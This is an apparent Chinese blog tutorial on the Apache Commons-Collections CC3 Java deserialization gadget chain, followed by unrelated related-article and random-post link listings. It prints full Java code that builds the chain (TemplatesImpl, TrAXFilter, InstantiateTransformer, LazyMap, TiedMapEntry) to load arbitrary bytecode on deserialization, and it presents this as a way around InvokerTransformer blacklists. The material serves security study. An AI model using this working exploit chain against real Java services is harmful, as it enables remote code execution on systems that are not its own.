CC3
cc_link_three
0x00前言
这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器
0x01开整
首先明白调用机制loadClass---findClass---defineclass这三个流程
就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法
最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看
然后继续往上调用找到了
然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性
最后在第三个调用哪里发现了一个类加载的机制newInstance()
然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法
这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到
开始手搓
确定一下代码执行的地方
先确定一下这个类它确定是继承了这些类的,是可以序列化的
然后确定一下各个位置的值是怎么判断的
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
- _name需要能为空因为我们要继续向下追踪
然后追下去发现
因为我们要调用definclass嘛然后所以_bytecodes也不能为空
_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题
然后就写个正面的payload来看一下嘛
public class cc_link_3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好
在这个点解读一下就是我们加载的类的父类的名称必须是
在下面这个点的时候
调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常
这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类
这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用
绕过Invokertransfromer
然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法
一顿操作以后
直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取,但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法
确定链头
在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部
整体的调用过程
- HashMap.readObject
- TiedMapEntry.hashCode
- LazyMap.decorate
- ChainedTransformer.transform()
- InstantiateTransformer.transform()
- TrAXFilter
- Transformer.newTransformer()
- 动态类加载来执行(defineClass)
这条链子重要的就是绕开了Invoketransformer
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
0x02小结
CC3 链作为另外一种命令执行的方式,在原本黑名单的机会当中溜了出来,确实牛逼。作为利用类加载机制的执行方式,前面的触发头又有了多种可能,是值得学习一下的
CC3的更多相关文章
- CC3的多列属性Multi-column
CC3的多列属性Multi-column 一直都很想了解这个属性,总是忘了.今天可以研究一下,回想起想了解它的原因,大概是觉得它很容易分开几列.可能会有很多好处和方便. 0 16-09-17 1 16 ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java安全之CC3
前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...
- CC3中的2D转换
2D转换方法: translate() rotate() scale() skew() matrix() 1.translate()方法,根据左(X轴)和顶部(Y轴)位置给定的参数,从当前元素位置移动 ...
- SASS教程sass超详细教程
SASS安装及使用(sass教程.详细教程) 采用SASS开发CSS,可以提高开发效率. SASS建立在Ruby的基础之上,所以得先安装Ruby. Ruby的安装: 安装 rubyinstaller- ...
- spring boot(二):web综合开发
上篇文章介绍了Spring boot初级教程:spring boot(一):入门篇,方便大家快速入门.了解实践Spring boot特性:本篇文章接着上篇内容继续为大家介绍spring boot的其它 ...
- 前端css框架SASS使用教程(转)
一.什么是SASS SASS是一种CSS的开发工具,提供了许多便利的写法,大大节省了设计者的时间,使得CSS的开发,变得简单和可维护. 本文总结了SASS的主要用法.我的目标是,有了这篇文章,日常的一 ...
- SASS 入门笔记
参考资料: SASS 用法指南 SASS 语法 Sass Basics SASS_REFERENCE sass 有两种后缀名文件:一种后缀名为 sass,不使用大括号和分号:另一种就是我们这里使用的 ...
- 【krpano】krpano xml资源解密(破解)软件说明与下载(v1.4)
欢迎加入qq群551278936讨论krpano技术以及获取最新软件. 该软件已经不再维护,现在已经被KRPano资源分析工具取代,详情参见 http://www.cnblogs.com/reac ...
随机推荐
- 【MySQL】从入门到掌握4-主键与Unique
上期:[MySQL]从入门到掌握3-WorkBench 第一章:主键 在实际开发中,我们不会使用用户名字当作主键. 因为当我们用数据库记录学生信息的时候,学生有可能重名! 我们一般会使用是个int ...
- python 中matplotlib 绘图
python 中matplotlib 绘图 数学建模需要,对于绘图进行简单学习 matpoltlib之类的包安装建议之间用anaconda 绘制一条y=x^2的曲线 #比如我们要绘制一条y=x^2的曲 ...
- Linux之Samba服务器搭建
一,samba的基本概念 SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务. ...
- 如何将原生微信小程序页面改成原生VUE框架的H5页面
项目背景: 公司为了实现小程序与H5页面共同覆盖,全面推广.特此想将已有的小程序进行快速改造上线(二周内),研发出H5版本.目前公司前端技术较为薄弱,现有的技术解决方案还停留在JSP. 问题: 如何将 ...
- KingbaseES R6 主备流复制集群创建级联复制案例
案例环境: 数据库: test=# select version(); version -------------------------------------------------------- ...
- SpringBoot使用自定义注解+AOP+Redis实现接口限流
为什么要限流 系统在设计的时候,我们会有一个系统的预估容量,长时间超过系统能承受的TPS/QPS阈值,系统有可能会被压垮,最终导致整个服务不可用.为了避免这种情况,我们就需要对接口请求进行限流. 所以 ...
- linux下安装Elasticsearch(单机版和集群版)
一.linux下安装Elasticsearch(单机) 1.软件下载 下载地址:https://www.elastic.co/cn/downloads/past-releases/elasticsea ...
- 【C++】GoogleTest入门指南
参考: GoogleTest官网 基本概念 要使用GoogleTest,需要包含header gtest/gtest.h 断言Assertions 断言是检查条件是否为真的语句,其结果可能是成功或失败 ...
- 10.第九篇 kube-scheduler 安装及验证
文章转载自在:https://mp.weixin.qq.com/s?__biz=MzI1MDgwNzQ1MQ==&mid=2247483830&idx=1&sn=787de8d ...
- Elasticsearch:设置Elastic账户安全